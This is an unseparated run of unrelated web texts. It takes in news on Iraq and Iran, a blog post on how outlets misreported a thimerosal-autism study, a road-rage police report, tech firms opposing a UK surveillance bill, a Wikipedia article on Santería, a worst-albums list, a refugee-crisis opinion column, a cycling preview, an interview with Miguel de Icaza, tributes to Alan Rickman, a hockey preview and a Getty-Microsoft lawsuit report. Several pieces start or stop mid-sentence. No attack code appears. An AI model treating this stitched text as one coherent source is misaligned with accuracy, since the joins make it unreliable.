Concerns about Iranian influence in Iraq, particularly in the form of support for Shiite militias accused of sectarian war crimes, have weighed heavily on U.S. officials. Experts have warned that Sunni Arabs, whose help is seen as key to defeating the Islamic State, are discouraged by any sign of a tilt toward Iran in either Washington or Baghdad.
Sectarian discrimination against Sunnis by the Shiite-led government of former Prime Minister Nouri al-Maliki is widely seen as one of the driving factors behind the extremist group's rapid rise to control in Sunni-dominated areas of Iraq, including Mosul, its second-largest city. As part of its effort to combat the group, the United States helped engineer Maliki's ouster in favor of a more inclusive government led by Prime Minister Haider al-Abadi.
Jaafari, a former colleague of Maliki's in the Shiite Da'wa party, was ousted as prime minister in his favor in 2006 amid an earlier round of sectarian tensions and later formed his own political group.
He said though Iraq sees its relationship with the United States as stable and long-term, it would also continue to have friendly relations with Tehran for historical, cultural and geographic reasons, noting that the two countries share a border of nearly 1,000 miles.
"Iraq is proud of its heritage as an Arab nation, but geography has its duties," he said.I’ve written in the past about the problem of bad science reporting in the US. The short version: very few American reporters have enough grounding in statistics and the sciences to accurately parse the claims of quantitative research, and as a result they often misrepresent what studies actually say.
This is an indictment of, among other things, university journalism school curricula, which ought to be requiring at some basic coursework in statistical analysis and scientific method. That prominent news agencies aren’t doing enough to remedy the failings of the J schools is obvious and distressing. Americans generally don’t understand stats and science any better than the average cub reporter, so bad reporting can actually do material damage in the lives of those who walk away from the newspaper or evening news with inaccurate conclusions.
A new report on autism rates and the preservative thimerosal has again put this problem in the national spotlight, although with better results overall than we might have expected or even hoped for. Let’s begin with what the researchers themselves said:
“The hypothesis that a modifiable risk factor, such as thimerosal exposure, is a major cause of autism offers the hope for prevention through reduced exposure,” the authors conclude. “Although our analysis of Department of Developmental Services data shows an increase in autism in California despite the removal of thimerosal from most vaccines, we support the continued quest for the timely discovery of modifiable risk factors for autism and related conditions. Continuing evaluation of the trends in the prevalence of autism for children born in recent years is warranted to confirm our findings.”
A quick caveat. I am not asserting a link between thimerosal and autism, nor am I indicting this new research, which seems entirely credible and helpful. I am primarily concerned with the reporting of the results.
This report in the Canadian Press does a pretty good job of getting the story right. (I know, Canada isn’t in the US, but we share a lot of the same issues, so I’m including this report as a mostly good example.)
Autism cases continue to rise after preservative thimerosal removed from vaccine LOS ANGELES – Autism cases in California continued to climb even after a mercury-based vaccine preservative that some people blame for the neurological disorder was removed from routine childhood shots, a new study found. Researchers from the state Department of Public Health found the autism rate in children rose continuously during the 12-year study period from 1995 to 2007. The preservative thimerosal hasn’t been used in childhood vaccines since 2001, but is used in some flu shots.
The conclusion offered by the researchers in the next graf is perhaps problematic, though.
Doctors say the latest study adds to existing evidence refuting a link between thimerosal exposure and autism risk and should reassure parents that the disorder is not caused by vaccinations. If there was a risk, they said, autism rates should have dropped between 2004 and 2007.
This is an intuitively convincing conclusion, and is probably accurate. However, I think you could perhaps construct a hypothetical alternate explanation positing complex interactions of multiple factors that would allow you to question whether it’s technically correct to state the results in this fashion. Stick with me, because I’ll present an example of this below.
Let’s look at some publications that muffed the story
Intellihealth.com gaks it completely, despite the fact that the actual findings are clearly contained in the story:
No Thimerosal-Autism Link The mercury-based preservative thimerosal does not appear to be linked to autism. A study published in the Archives of General Psychiatry looked at autism cases diagnosed in California between 1995 and 2007 and found that the number continued to grow even after thimerosal was removed from vaccine formulations in 2001. In the study, state public health officials used a database of state-funded centers for people with autism and other developmental disorders to calculate the rate of the neurological disease. They found that the prevalence of autism in children aged 3 to 12 grew throughout the study period. The study did not determine why autism cases increased. The researchers say the findings suggest that scientists should explore other possible causes of autism, such as genetic links, The Associated Press reports.
The header is patently inaccurate, although if you added the word “found” to the end it would be correct. The lead then botches the results even further, because saying “we found no link between A and B” is different from saying “A and B aren’t linked,” and the researchers did not and could not have said the latter.
Science Daily does a little better: “Autism cases continued to increase in California after the mercury-containing preservative thimerosal was eliminated from most childhood vaccines, according to a new report. This suggests that exposure to thimerosal is not a primary cause of autism.” This is a defensible interpretation, depending on what you do with the word “primary.” However, as we’ll see below, there’s ample room for a science-savvy reporter to have interrogated the conclusion more thoroughly.
Then there’s WTRF-TV. I have no idea what these people are thinking. Their Web site draws on a fairly good CBS News report, but leads into with a boldfaced statement of utter fiction: “There’s no connection between mercury and Autism…”
The San Mateo Times opted for the splashy and inaccurate approach, as well, leading with the headline “Vaccine ruled out as autism cause” despite the fact that the findings themselves say no such thing.
Why you can’t say there’s no link
When we know a lot more about this complex issue it may be clear that thimerosal has nothing to do with autism and never did, and based on the data before us today you might be safe enough making that bet now. However, science and research are conducted according to stringent rules about what you can claim from a piece of research, and those rules matter a great deal here. For starters, it’s damned near impossible to prove anything, especially a negative. So demonstrating that there is no relationship is tricky, at best.
As for the autism case specifically, let’s look at a hypothetical that illustrates the difficulty in knowing what exactly is at work with thimerosal. We don’t know what causes autism, although it seems likely that there are multiple factors involved (including new research finding a chromosomal flaw that could open the door to greater understanding about possible genetic causes).
For the sake of argument, let’s posit that autism is caused by three factors: A is a controllable factor like thimerosal; B is a genetic factor; and C is an artifact of public awareness and medical diagnostic trends (that is, we’re learning more about the disease and as a result people who wouldn’t have been classified as autistic 20 years ago are today, meaning that real numbers could be steady while diagnoses climb).
We study a five-year period in which A is eliminated, but diagnosed cases continue to increase. This may mean that A is not a factor. However, it could also mean that A is a factor, but that the genetic trigger is spreading through the population rapidly while C is also occurring – industry dynamics are driving an increase in the rate of diagnoses. In this case, the increases associated with B and C might more than mask the decrease associated with A, which would mean that A is a trigger and that had it not been eliminated the observed increase would have been even higher.
Unless these kinds of factors can be controlled, it is not possible for a study to state that A is not a factor, although educated researchers are more than capable of offering informed speculation – which the scientists in this study do.
There is good news on the reporting front
A lot of places got the story right. WNCT.com, and AP reporter Alicia Chang does a nice job. Wired and the Star-Ledger adopt the “primary cause of autism” language in reports that are at least as on-point as the researchers’ own words. So I’m pleasantly surprised to see a number of outlets doing a pretty good job on a complex story.
We’ve seen plenty of bad reporting on research – here’s hoping those who did a good job on this story represent the coming trend instead of a momentary aberration.The second incident Denniston is charged with happened on the evening of May 17 when emergency dispatchers received a call in reference to a subject driving recklessly on a white and blue motorcycle.
According to investigators, Denniston captured the incident on his helmet camera and posted it on YouTube again using the name "Tyler D" and named the video "Road Rage in Goose Creek." Police say the video shows Denniston riding his motorcycle on Red Bank Road in front of Splash and Dash car wash where a white vehicle drives by and something is heard.
A police report states Denniston then drives up between two vehicles and an argument starts between Denniston and a woman inside the white vehicle.
Authorities say Denniston then moves away from the vehicle and says "You're going on YouTube."
According to police, while traffic was stopped, Denniston parked his motorcycle behind the women's vehicle and loudly revved up his motor. Once traffic began to move, Denniston took off between vehicles using a maneuver known as "lane-splitting."
Authorities say Denniston also performed an illegal lane change at an intersection before accelerating rapidly. Police report that Denniston then got onto St. James Avenue where he accelerated rapidly, passing five vehicles at a high rate of speed.
Some time later, authorities say Denniston was stopped and interviewed by a North Charleston Police officer.
The Goose Creek Police Department says a two part video on YouTube posted by Denniston and labeled "North Charleston Police part 1 and part 2" showed Denniston admitting to the altercation and placing him at the scene.
Authorities say the video showed the North Charleston Police officer identifying the motorcyclist as Tyler Martin Denniston.LONDON (AP) — Silicon Valley tech titans are among major U.S. Internet companies urging the British government to reconsider a plan to make telecommunications firms help spies hack into computers and phones.
The draft Investigatory Powers Bill would require telecoms companies to keep records of customers’ Web histories for up to a year, and to help security services gain access to suspects’ electronic devices.
In a joint submission to a committee of British lawmakers, Facebook, Google, Microsoft, Twitter and Yahoo said that “to the extent this could involve the introduction of risks or vulnerabilities into products or services, it would be a very dangerous precedent to set.”
They urged the government to reconsider, and warned against changes that would weaken online encryption, which they called a “fundamental security tool.”
The submission was made last month and published Thursday by the committee, which is reviewing the proposed legislation.
Apple has also objected to the British proposals, saying they could weaken online security by providing a backdoor to users’ data for “bad guys” as well as “good guys.”
The British government insists the bill won’t weaken or ban online encryption.
If approved by Parliament, the bill will let police and spies access Internet connection records — a list of websites, apps and messaging services someone has visited, though not the individual pages they looked at or the messages they sent.
Civil liberties groups have also expressed alarm at the bill. A previous version of the legislation was thrown out by lawmakers in 2013 as overly intrusive.
The government says it will set out final proposals in the spring.Syncretic religion of Cuban origin
"Santeria" redirects here. For the Sublime song, see Santeria (song). For the Marracash and Guè Pequeno album, see Santeria (album)
Santería, also known as Regla de Ocha, La Regla de Ifá,[1][2] or Lucumí, is an Afro-American religion of Yoruba origin that developed in Cuba among West African descendants. Santería is a Spanish word that means the "worship of saints". Santería is influenced by and syncretized with Roman Catholicism. Its sacred language is the Lucumí language, a remanant of Yoruba language that is used in rituals but no longer spoken as a vernacular and mostly not understood by practitioners.
History [ edit ]
Santería is a system of beliefs that merges aspects of Yoruba religion brought to the New World by enslaved Yoruba people along with Christianity and the religions of the indigenous peoples of the Americas in addition Cuban Spiritism which developed from Allen Kardec Spiritism.[2] The Yoruba people carried with them various religious customs, including a trance and divination system for communicating with their ancestors and deities, animal sacrifice, and sacred drumming and dance.[3][4] The need to preserve their traditions and belief systems in a hostile cultural environment prompted enslaved africans of various ethnic groups in Cuba, starting from as early as 1515, to merge their customs with aspects of Roman Catholicism.[4]
This religious tradition evolved into what is now recognized as Santería.
The colonial period from the standpoint of enslaved African people can be defined as a time of perseverance. Their world quickly changed. Tribal kings and their families, politicians, business and community leaders all were enslaved and taken to a foreign region of the world. Religious leaders, their relatives and their followers were no longer free people to worship as they saw fit. Colonial laws criminalized their religion. They were forced to become baptized and worship a god their ancestors had not known who was surrounded by a pantheon of saints. The early concerns during this period seem to have necessitated a need for individual survival under harsh plantation conditions. A sense of hope was sustaining the internal essence of what today is called Santería, a misnomer (and former pejorative) for the Cuban expression of the Orisa faith. In the heart of their homeland, the Yoruba people had (and still have) a complex political and social order. They were a sedentary hoe farming cultural group with specialized labor. Their religion, based on the worship of nature, was renamed and documented by their slave owners. Santería, a pejorative term that characterizes deviant Catholic forms of worshiping saints, has become a common name for the religion. The term santero(a) is used to describe a priest or priestess replacing the traditional term Olorisha as an extension of the deities. The orishas became known as the saints in image of the Catholic pantheon. — Ernesto Pichardo, CLBA, Santería in Contemporary Cuba: The individual life and condition of the priesthood
In order to preserve and shield (mask) their traditional beliefs, the Lucumí people syncretized their Orichás with Catholic saints.[4] (As a consequence, the terms "saint" and "orichá" are commonly used interchangeably among practitioners.) Spanish colonial planters who saw the enslaved African people celebrating on saints' days did not know that they were actually performing rituals related to Orichás, and assumed that they were showing more interest in Catholic saints than in the Christian God—hence the origin of the term Santería.[4]
The historical veiling of the relationship between Catholic saints and Orichás is compounded by the fact that the vast majority of santeros in Cuba, Puerto Rico, and the Dominican Republic, are also Roman Catholics, have been baptized, and often require initiates to be baptized in Roman Catholicism as well.
The spread of Santería beyond the Spanish-speaking parts of the Caribbean, including to the United States, was catalyzed by the Cuban Revolution of 1959.[4] In 1974, the Church of Lukumi Babalu Aye became the first Santería church in the United States to become officially incorporated.[5]
Rituals and ceremonies [ edit ]
Santería does not use a central creed for its religious practices; though it is understood in terms of its rituals and ceremonies.[6]:102 These rituals and ceremonies take place in what is known as a house-temple or casa de santos (house of saints), also known as an ilé. Most ilés are in the homes of the initiated priests and priestesses. Ilé shrines are built, by the priests and priestess, to the different orichás, which creates a space for worship, called an igbodu (altar).[6]:102 In an igbodu there is a display of three distinct thrones (draped with royal blue, white, and red satin) that represent the seats of the queens, kings, and the deified warriors.[7]:168
Each ilé is composed of those who occasionally seek guidance from the orishas, as well as those who are in the process of becoming priests.[8]:6
The many cabildos and casas that bridged the 19th and 20th centuries are fondly remembered by contemporary priests as the origins and strongholds of Cuban Lucumí culture and religion.[8]:57
To become a Santero or Santera (Priest or Priestess of Santería), the initiator must go through an intensive week-long initiation process[7]:165 in which the teaching of the ritual skills and moral behavior occurs informally and nonverbally. To begin with, the initiator goes through what is called a cleansing ritual. The initiator's Padrino (godfather) cleanses the head with special herbs and water. The Padrino rubs the herbs and water in a specific pattern of movements into the scalp of the head. However, if a person is entering Santería for the need of healing, they will undergo the rogación de la cabeza (blessing of the head), in which coconut water and cotton are applied on the head to feed it.[9]:26–28 Once cleansed, there are four major initiation rituals that the initiator will have to undergo: obtaining the elekes (beaded necklace), receiving Los Guerreros (the Warriors), making Ocha (Saint), and Asiento (ascending the throne).[6]:107
Obtaining the ilekes [ edit ]
The first ritual is known as the acquisition of the beaded necklaces (known as ilekes); according to De La Torre, "the colors and patterns of the beads on the ilekes will be those of the orichá that serves as the iyawo's (bride) ruling head and guardian angel and so the first thing that must be done is to determine who the orichá is. The ilekes necklace is bathed in a mixture of herbs, sacrificial blood, and other potent substances and given to the initiated.[6]:107
The initiate most often receives the necklace of the five most powerful and popular oricha, as the multicolored beads of the ilekes are each patterned for the primary Orishás (Eleguá, Obatalá, Yemayá, Changó, and Ochún), and they serve as a sacred point of contact with these Orishás. When the necklace is received, the initiated must bow over a bathtub and have his/her head washed by the olo orichá. The elekes[9]:28 serves as the sacred banners for the Orishás and act as a sign of the Orichá's presence and protection; however, it must never be worn during a woman's menstruation period, nor during sex, nor when bathing.[6]:107
Medio Asiento [ edit ]
The second important ritual is known as medio asiento, the creation of an image of the orichá Eleguá. The individual will go through a consultation with a Santero, where all the recipients' life, past, present, and future, will be reviewed. During the consultation, the Santero determines which path of Eleguá the recipient will receive. Then, based on his findings, he chooses materials that will be used to construct the image of the Eleguá, a sculpture that is used to keep evil spirits away from the initiator's home. This ritual is only prepared by men as the orichás take some of the Santero's "manly" spirit in the process.[10]:xi
Los Guerreros [ edit ]
The third ritual, known as "receiving the warriors", is a ritual where the initiated receives objects from their padrino that represents the warriors; Iron tools to represent Ogún; an iron bow and arrow to represent Ochosi; and an iron or silver chalice surmounted by a rooster to represent Osún.[6]:112 This ritual begins a formal and lifelong relationship that the initiate will have with these Orichás, as the orichás devote their energies to protecting and providing for the initiate on their path.
Asiento [ edit ]
The last ritual of the initiation process is known as Asiento (ascending the throne), and is the most important and the most secretive ritual in Santería, as it is the ceremony where the iyawo (bride of the oricha) becomes "born again" into the faith. This ritual is a culmination of the previous rituals, and cannot be made unless the others have been completed. Asiento is a process of purification and divination whereby the initiated becomes like a newborn baby and begins a new life of deeper growth within the faith.[6]:112
Once the initiation is completed, depending on the individuals "house", there is a year-long waiting period, known as iyaboraje, in which the newly appointed Priest and Priestess can not perform cleansings and other remedies.[11] It is a time where the Iyawo or Bride of the Orichá must follow a strict regimen of wearing all white and must avoid physical contact with those who have not been initiated. Once the ebo del año has been completed there will be an end of year ceremony, which will enable the Priest or Priestess to consult clients, perform cleansings, provide remedies and perform initiations. And according to Gonzalez: "they are also regarded as royalty in the religion, as they are considered representatives of the Orichás and are vested with the power to work with the forces of those Orichás in full."[10]:xi
With Santería rituals there are musical ceremonies and prayers that are referred to as bembé, toque de santo, or tambor. It is a celebration dedicated to an Orichá, where the batá drums (set of three drums known as the iya (the largest drum), itoltele, and okonkolo) are played in the Orichá's honor.[12]:11 Through these sacred drums, messages of worshippers reach the orichás and the orichás respond to their devotees. These drums are used only by men and must always be treated with respect; for example, dancers must never turn their backs towards the drums while dancing, as it is considered disrespectful.[6]:118
Clergy [ edit ]
Priests are commonly known as Santeros or Olorichas. Once those priests have initiated other priests, they become known as babalorichás, "fathers of orichá" (for men
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Down or Lay Down
94. Action Bronson, Mr. Wonderful
93. AC/DC, Fly on the Wall
92. U2, How to Dismantle an Atomic Bomb
91. Bee Gees, Living Eyes
90. Ray J, Raydiation
89. Jack White, Blunderbuss
88. Twenty One Pilots, Blurryface
87. The-Dream, IV Play
86. Swedish House Mafia, Until Now
85. Wilco, Yankee Hotel Foxtrot
84. Moby, Destroyed
83. Jet, Get Born
82. Jason Mraz, We Sing. We Dance. We Steal Things.
81. Gavin DeGraw, Gavin DeGraw
80. Deadmau5, Random Album Title
79. Radiohead, Kid A
78. Fun, Some Nights
77. One Direction, Four
76. Korn, Korn
75. Coldplay, Ghost Stories
74. Papa Roach, Infest
73. Elvis Presley, Today
72. Robbie Williams, Swing When You’re Winning
71. Giorgio Moroder, Déja-Vu
70. Weezer, Make Believe
69. Ed Sheeran, +
68. Daughtry, Leave This Town
67. Calvin Harris, I Created Disco
66. Maroon 5, Hands All Over
65. Metallica, Death Magnetic
64. Steve Miller Band, The Joker
63. Lil Wayne, Rebirth
62. Mötley Crüe, Generation Swine
61. Timbaland, Shock Value
60. Sufjan Stevens, Illinois
59. The Rolling Stones, Dirty Work
58. Borgore, #NEWGOREORDER
57. Sting, Ten Summoner’s Tales
56. Chingy, Hate It or Love It
55. Arcade Fire, The Suburbs
54. Toby Keith, Shock’n Y’all
53. Uncle Kracker, No Stranger to Shame
52. Plain White T’s, All That We Needed
51. Imagine Dragons, Smoke + Mirrors
50. Staind, Break the Cycle
49. Miles Davis, Doo Bop
48. Cee Lo Green, Heart Branch
47. 98 Degrees, Revelation
46. Ted Nugent, Cat Scratch Fever
45. Oasis, Standing on the Shoulder of Giants
44. Brad Paisley, Wheelhouse
43. Savage Garden, Savage Garden
42. Josh Groban, Closer
41. Nelly, 5.0
40. Sting, Sacred Love
39. Belle & Sebastian, Fold Your Hands Child, You Walk Like a Peasant
38. Orgy, Punk Statik Paranoia
37. The Black Eyed Peas, Elephunk
36. Jack Johnson, In Between Dreams
35. Magic!, Primary Colours
34. Charlie Puth, Nine Track Mind
33. The Strokes, Comedown Machine
32. Enrique Iglesias, Sex and Love
31. Placebo, Placebo
30. Nickelback, Silver Side Up
29. Rapeman, Two Nuns and a Pack Mule
28. Limp Bizkit, Chocolate Starfish and the Hot Dog Flavored Water
27. Lou Reed, Metal Machine Music
26. The Doors, Strange Days
25. James Blunt, Back to Bedlam
24. 311, 311
23. Jay-Z, Kingdom Come
22. Barenaked Ladies, Stunt
21. Matchbox Twenty, Mad Season
20. Robin Thicke, Paula
19. Trapt, Amalgamation
18. Methods of Mayhem, A Public Disservice Announcement
17. Train, Bulletproof Picasso
16. James Taylor, Greatest Hits
15. Justin Timberlake, 20/20 Part II
14. Creed, Human Clay
13. U2, Songs of Innocence
12. Macklemore & Ryan Lewis, This Unruly Mess I’ve Made
11. Joe Scarborough Band, Mystified
10. Maná, Drama y Luz
9. Eminem, Relapse
8. Bruce Willis, The Return of Bruno
7. Bob Dylan, Christmas in the Heart
6. Kevin Federline, Playing With Fire
5. Toby Keith, 35 MPH Town
4. Chainsmokers, Memories... Do Not Open
3. Lou Reed & Metallica, Lulu
2. Lynyrd Skynyrd, The Last Rebel
1. Kid Rock, Rock N Roll JesusErdoğan is right: There is something shameful about the refugee crisis But he is wrong about whose shame it is. President Recep Tayyip Erdoğan repeated his cliché rhetoric at the G-20 Summit in China that “the West’s attitude over the refugee problem is disgraceful in the name of humanity.” Once again, he accused the West of racism.
Never mind the big inconsistency in his other lines: That it is shameful to defend Syrian President Bashar al-Assad’s stay in power, and that “we are in agreement with [Russian President Vladimir] Putin over Syria.” A few weeks after the last time Mr. Erdoğan said that he believed Russia would align with Turkey’s position over Syria, Turkey shot down a Russian fighter jet. Now that Mr. Erdoğan speaks of mutual agreement with Mr. Putin over Syria, another political disaster may be looming.
Since the beginning of the Syrian refugee crisis Mr. Erdoğan has claimed that it was (Christian) Europe’s moral obligation to accept a big part of the refugees. Because the refugees want to go to (Christian) Europe? Why? We all know why. But why is it not the neighboring Muslim countries’ moral obligation to host overwhelmingly Muslim refugees in their own Muslim lands?
Jordan’s (late) King Abdullah wrote in his memoirs: “The tragedy of the Palestinians was that most of their leaders had paralyzed them with false and unsubstantiated promises that they were not alone; that 80 million Arabs and 400 million Muslims would instantly and miraculously come to their rescue.”
Decades later, the Syrians fleeing the civil war in their homeland are not tempted into the same tragedy: They want to use Turkey and other Muslim countries as stepping stones to reach better, more civilized lands. First of all, that is an Islamic self-insult: Why do Muslims risk their lives trying to cross into the predominantly Christian West, which probably most of them have viewed as “evil?” Why do our Muslim Syrian brothers not want to live with us? Why do they want to risk their lives and flee to Christian lands?
Even totally irrelevant, faraway non-Muslim countries like Brazil, Chile and Venezuela have said that they would volunteer to take thousands of Syrian refugees. Any Muslim refugees in oil-rich Muslim Gulf countries? How many in the Saudi Kingdom that is the custodian of Sunni Islam and is the seat of the holiest Muslim shrines in Mecca? And, even if they had invited Syrian refugees, would the poor souls prefer to be accepted by Christian lands or by the custodian of Sunni Islam? We all know the answer. The Muslim refugees cannot even stand Turkey, which is heaven compared to the custodian of Sunni Islam – yet its friend, too.
And for all that self-humiliating picture Mr. Erdoğan blames the West for having taken “only” over 250,000 refugees as opposed to almost none in the rich Gulf. Why really do Saudi Arabia, Qatar, the United Arab Emirates, Bahrain and Oman keep employing large numbers of Asian workers but have not taken even a few dozens of Muslim Syrians refugees?
The moral story is about a grandiose, multi-faceted Middle Eastern dilemma: Muslims in this part of the world view the Christian West as “evil,” yet they know quite well that Christian lands are the most decent places to live economically and politically, while wealthy Arab states are programmed to turn their back on the plight of fellow Muslims who are in need of a helping hand and Islamists blame it all on the West – the easiest thing they, too, are programmed to do reflexively.
The legitimate questions here are: Why do “West-hating” Muslims want to go to the “evil” Christian West; why do their fellow Muslim Arab nations not raise even a helping finger, let alone a hand; or why should non-Muslims pay for exclusively intra-Muslim wars and the wave of migrants these wars create?The 2nd Tour of Croatia international cycling race is just two weeks away…
From 19 – 24 April 2016 some of the best international riders will race on a 1,150 kilometre route along the Adriatic coast, Istria and inland Croatia over 6 stages.
This year’s Tour of Croatia is one day and one stage longer than the successful first edition in 2015. Riders from 20 teams will start the race in Osijek on April 19th. The first 244 km long stage will finish in a beautiful baroque city of Varaždin. The second stage starts in a mesmerizing UNESCO’s World Heritage Site National Park Plitvice and finishes in Split, Croatia’s second largest city. The third leg is a bit shorter, but no slouch. It starts in Makarska and finishes after 193 km in another National Park, Krka. Stage 4 starts in Crikvenica, goes through Rijeka, Opatija and strongly finishes with a tortuous climb to Učka mountain range, one of many Nature parks in Croatia. The fifth stage is a team time trial, a 41 kilometre sprint from Poreč to Umag.
Ultimately, on April 24th, a 160 kilometre leg from Lifeclass terme Sv. Martin na Muri to Zagreb on St. Mark’s square, on which the final ceremony will take place.
The race, which is classified as a first category race by the Union Cycliste Internationale (UCI), just one level below the biggest tour races such as Tour de France, Giro di Italia and Vuelta a España, will be feature some top-class riders, including Sir Bradley Wiggins, the winner of the 2012 Tour de France and the 2012 Olympic gold medallist, and also Mark Cavendish, who has won 26 Tour de France stages and is the 2011 Road World Championship. A massive TV audience is again expected, with some spectacular shots of Croatia again being beamed out to the world.
STAGES
1. OSIJEK – VARAŽDIN (19.04)
2. NP PLITVIČKA JEZERA – SPLIT (20.04)
3. MAKARSKA – ŠIBENIK (21.04)
4. CRIKVENICA – UČKA (22.04)
5. POREČ – UMAG (23.04)
6. SVETI MARTIN NA MURI – ZAGREB (24.04)
You can follow the race on Tour of Croatia’s official website here.At Microsoft BUILD earlier this month I arrived early to hear Anders Hejlsberg talk about the future of C#, and found myself next to Miguel de Icaza, co-creator of the GNOME desktop and of Mono, the open source implementation of Microsoft.NET. I took the opportunity to ask a few questions, which I have his permission to post.
I recall that when.NET was first announced in 2000, it was not long before de Icaza announced Mono. I was interested therefore to know his reaction to Windows 8 and the new Window Runtime which powers “Metro-style” apps. Will we get an open source implementation of Metro-style on Linux?
I don’t think so. To be honest, with Linux on the desktop, the benefits of open source have really played against Linux on the desktop in that we keep breaking things. It is not only incompatibilities between Red Hat, Unbuntu, Suse, but even between the same distribution. Ubuntu from this week is incompatible with the one nine months ago. And then there are multiple editions, the KDE version, the Gnome edition, the one that is the new launching system. When you count how many great desktop apps there are on Linux, you can probably name 10. You work really hard, you can probably name 20. We’ve managed to piss off developers every step of the way, breaking APIs all the time. I’m heartbroken, that’s the bottom line.
What about compiling your Metro app for iOS or Android?
I think that Linux has a tough time on the desktop. And the desktop is starting to not matter any more. On the other hand, building WinRT is going to be a significant amount of work. A large chunk probably could be reused from Moonlight. But it is a lot of work, to be able to reuse existing Windows apps, and in the case of iOS they already have their own stack, and Mac has its own, Cocoa is really nice and we have.NET bindings for it.
So I think we’ll learn interesting lessons from Metro. There is stuff that will be useful on other platforms like the JSON reader. But I’m not going to spend any time on WinRT for other systems.
And we can speculate about how well Metro will work in the market …
They are Microsoft, it’s going to succeed. In three years they are going to have this thing on half a billion computers, so it will be out there.
It seems like they are going to use their muscle for two things. It’s going to be a tempting space [for developers], but if you want to go into the right distribution channel for that half a billion computers, you need to abide by the Metro guidelines. They are not going to give you full API access, they are going to give you the sandboxed version. Which is good, because it can finally fix the security problems on Windows. They are going to use their muscle to reset the rules for Windows.
Especially on ARM
Right, and it is needed, they definitely need to fix this mess, a lot of malware, spyware, and the fact that everybody is sysadmin, and has to reinstall their machine every so often.
I’ve heard the word “safe” a number of times.
Right, and think of an iPad, you don’t need to be a sysadmin. Now, you could argue that by WPF not being available to everybody and being bound to.NET they limited the effect WPF would have had, whereas Metro gives this to C++ developers, but they’re saying, hey, you can’t call Win32, there is all the Win32 stuff you can’t call. You have to use Metro. So they might be repeating that [mistake], but maybe it’s eclipsed by the fact that there’s going to be a rush to the app store. It seems like there is a big enough carrot now.
How are you getting on with the Windows 8 tablet?
I have to say, I actually like Windows 8. I am not a Windows user. It’s probably the first time that I would use a Windows machine.
Miguel de Icaza is now at Xamarin, providing cross-platform tools for using C# and.NET to build apps for Apple iOS and Google Android.Daniel Radcliffe has joined J.K. Rowling in paying tribute to Alan Rickman, remembering the man who played Severus Snape to his Boy Who Lived in the eight Harry Potter films.
“Alan Rickman is undoubtedly one of the greatest actors I will ever work with,” Radcliffe wrote Thursday on his Google Plus page. “He is also one of the [most loyal] and most supportive people I’ve ever met in the film industry. He was so encouraging of me both on set and in the years post-Potter. I’m pretty sure he came and saw everything I ever did on stage both in London and New York. He didn’t have to do that. I know other people who’ve been friends with him for much much longer than I have and they all say ‘if you call Alan, it doesn’t matter where in the world he is or how busy he is with what he’s doing, he’ll get back to you within a day.’”
RELATED: Alan Rickman’s Best Roles
Radcliffe continued, “People create perceptions of actors based on the parts they played so it might surprise some people to learn that contrary to some of the sterner (or downright scary) characters he played, Alan was extremely kind, generous, self-deprecating and funny. And certain things obviously became even funnier when delivered in his unmistakable double-bass.”
As a young actor on the Harry Potter set, Radcliffe added that Rickman was one of the first adults to treat him “like a peer rather than a child.”
RELATED: Alan Rickman’s Life in Pictures
“Working with him at such a formative age was incredibly important and I will carry the lessons he taught me for the rest of my life and career,” he wrote. “Film sets and theatre stages are all far poorer for the loss of this great actor and man.”
Rickman died Thursday at the age of 69. Head here for a look at his best roles."For us not making the playoffs was simply unacceptable," said Dorion, 44. "I wasn't hired here to bring the team to the playoffs, but to succeed in the playoffs."
Since Pierre Dorion was named the eighth general manager in Ottawa Senators history April 10, he has taken the organization on a path of sweeping, dramatic changes during the past four months, with the goal of returning to the Stanley Cup Playoffs.
NHL.com is providing in-depth roster, prospect and fantasy analysis for each of its 30 teams throughout August. Today, the Ottawa Senators.
The Senators finished fifth in the Atlantic Division last season, eight points behind the third-place Detroit Red Wings for the final automatic playoff spot in the division. It was the second time in the past three seasons they missed the playoffs.
Senators 30 in 30: Top prospects | Fantasy outlook | Burning questions, reasons for optimism
Dorion took over from Bryan Murray, who was Senators GM since 2007. Murray continues to battle Stage 4 colon cancer and cited health and family concerns for the decision to step aside.
Among Dorion's biggest moves: hiring coach Guy Boucher on May 8 to replace Dave Cameron, and acquiring veteran center Derick Brassard and a seventh-round pick in the 2018 NHL Draft in a trade with the New York Rangers for center Mika Zibanejad and a 2018 second-round pick July 18.
"Our ultimate goal is to make the playoffs again, and we feel that Derick's going to help us make the playoffs," Dorion said. "There's also more. We feel that Derick provides great talent, brings leadership into our room. He's someone that's played a lot more games in the NHL than Mika."
Ottawa also signed veteran free agent forward Chris Kelly, who played parts of seven seasons with the Senators to begin his NHL career, to add experience and boost the penalty kill.
Special teams is one part of the Senators' game that must improve. Last season they were 26th (15.8 percent) on the power play, allowed 15 power-play goals at home and finished 29th in penalty killing (75.8 percent). They also allowed the first goal in 51 games and were outshot in 60 games.
Video: 30 in 30: Ottawa Senators 2016-17 season preview
Those are some of the areas where the Senators hope Boucher can make them better.
Boucher, 45, had coached Bern in Switzerland the previous three seasons after coaching the Tampa Bay Lightning from 2010-13. He went 97-79-20 and led the Lightning to the 2011 Eastern Conference Final.
"He's a very passionate and intense guy which I think, for the type of team that we have, is going to fit very good," Dorion said. "He's a young mind, we have a younger team, and I think what he brings to the table and the way that he believes things work is going to match up with everything that we have in the room."
The Senators' room consists mostly of a homegrown core that includes defenseman Erik Karlsson and forwards Mark Stone, Mike Hoffman, Jean-Gabriel Pageau, Curtis Lazar and Zack Smith. Center Kyle Turris should be healthy after an ankle injury limited him to 57 games, and forward Clarke MacArthur is expected back after a concussion sidelined him the final 78 games of last season.
Though the Senators will have a bit of a new look up front, the goaltending and defense remain the same. Goalies Craig Anderson and Andrew Hammond return with Karlsson leading a group of defensemen that includes veteran Dion Phaneuf, entering his first full season with the Senators, Marc Methot, Cody Ceci (a restricted free agent), Mark Borowiecki and Chris Wideman.
"You have the players that represent your style and I think we have that," Boucher said. "Speed up front, transitioning defensemen, good goaltender, the possibility of improving the defensive side of it with structure, which I think I'm known for."NEW YORK (Reuters) - A new Microsoft Corp product that allows website publishers to embed digital photographs on their sites is a “massive infringement” of copyrighted images, Getty Images Inc [GETTY.UL] claimed in a lawsuit filed in federal court in New York on Thursday.
People attend a presentation of the Xbox One by Microsoft as part of ChinaJoy 2014 China Digital Entertainment Expo and Conference in Shanghai July 30, 2014. REUTERS/Carlos Barria
The “Bing Image Widget,” released on Aug. 22, gives publishers the ability to create a panel on their websites that displays digital images supplied by Microsoft’s Bing search engine, according to the lawsuit.
Rather than draw from a pool of licensed images, the lawsuit claimed, the product grants access to the billions of images that can be found online, without regard to whether the photos are copyrighted.
